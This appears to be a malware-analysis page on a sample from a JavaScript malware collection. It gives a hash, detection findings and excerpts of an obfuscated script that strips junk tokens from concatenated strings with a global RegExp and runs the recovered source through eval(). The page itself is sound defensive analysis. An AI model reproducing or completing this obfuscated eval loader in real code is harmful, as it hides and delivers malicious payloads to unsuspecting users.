Benign javascript-malware-collection Download

20170429_3aa18e5e055db7224dcf22bc8f6e10b7.js

eval() executing transformed codeCalls eval on recovered source

SHA-256441ee54510296aabc225c1120eec404809856216d2d02b38d22f44d110d4ad5f

Evidence

Many long string literals concatenated in source lines 1–17

1var GwOnQNpIWDBjUPAST = 'nLvhCKfSusoJHdRQiWEzOA'+
2'mMxTcb'+
3'Yev'+
4'nLvhCKfSusoJHdRQiWEzOAmMxTcbYeanLvhCKfSusoJHdRQiWEzOAmMxTcbYer '+
5'HnLvhCKfSusoJHdRQi'+
6'WEzOAmMxTcbYeInLvhCKfSus'+
7'oJHdRQiWEzOAmMxTcbYeQnfYnLvhCKfSusoJHdRQiWEzOAmMxTcbY'+
8'eknLvhCKfSusoJHdRQiWE'+
9'zOAmMxTcbYexUnLvhCKfSusoJHdRQiWEzOAmMxTcbYetnLvhCKfSusoJHdRQiWEzOAmMxTcbY'+
10'eXnL'+
11'vhCKfSusoJHdRQiWEzOAmMxT'+
12'cbYednLvhCKfSusoJHdRQiW'+
13'EzOAmMxTcbYeRnLvhCKfSusoJHdRQiWEzOAmMxTcbYeSynLvhCKfSusoJHdRQiWEzOAmMxTcbYecnLvhCKfSusoJHdRQi'+
14'WEzOA'+
15'mMxTcbYehnLvhCKfSusoJHdRQiWEzOAmMxTcbYe = nLvhCKfSusoJHdRQiWEzOAmMxT'+
16'cbYennLvhCKfSusoJHdRQiWEzOAm'+
17'MxTcbYee …

Dense concatenated string fragments lines 39–50

39:10… 
40'OAmMxTcbYernLvhCKfSusoJHdR'+
41'QiWEzOAmMxTcbYe nLvhCKfSuso'+
42'JHdRQiWEzO'+
43'AmMxTc'+
44'bYewnLvhCK'+
⋯6 lines

Path has long Base64-like segment lines 320–331

320:13… vhCKfSusoJHdRQiWEzOAmMxT'+
321'cbYe nLvhCKfSusoJHdRQiWEzOAmMxTcbYe= nL'+
322'vhCKfSusoJHdRQiWEzOAmM'+
323'xTcbYe83nLvhCKfSusoJHdRQi'+
324'WEzOAmMxTcbYe4nLvhCKfSusoJHdRQiWEzOAmMxTcbYe7nLvhCKfSusoJHdRQiWEzOAmMxTc'+
325'bYe27nLvhCKfSusoJHdRQi'+
326'WEzOAmMxTcbYe33/8nLvhCKfSusoJHdRQiWEzOAmMxTcbYe347nLvhCKfSus'+
327'oJHdRQiWEzOAmMxTcbYe2nLvhCKfSusoJHdRQiWEzOAmMx'+
328'TcbYe733; vnLvhCKfSusoJHdRQiWEzOAmMxTcbYeanLv'+
329'hC'+
330'KfSusoJHdRQ'+
331' …

JavaScript removes matches with global RegExp lines 517–522

517:30… VvDOXYawHdPNFjT, uXxvNhSgoYEKbjJ) { 
518return imkAVvDOXYawHdPNFjT.replace(RegExp(uXxvNhSgoYEKbjJ, "g"), ""); }
519var KmazGkBtNrFVfCwnD = eval(rPAvfBpxFngNaoT(GwOnQNpIWDBjUPAST, "nLvhCKfSusoJHdRQiWEzOAmMxTcbYe"));
520var zQYsCarGpWTBoSNXK = 
521"g,x,c,nB*wB,p,guecr,B,g*$$++=";
522for (var KOPLJXiSocCfGUxq = 0; KOPLJXiSocCfGUxq < zQYsCarGpWTBoSNXK.length; KOPLJXiSocCfGUxq++) { yKUfWFEjkBehbwTcu = qrvQaGPygEKYMdUbLVm(zQYsCarGpWTBoSNXK, KOPLJXiSocCfG …

JavaScript eval executes a variable argument lines 523–524

523:178… aFjEKuwtVSBT (yKUfWFEjkBehbwTcu); }}
524var HcBFplTkKRELWytmoJs = eval(ebwlMJmUrQAkqKa);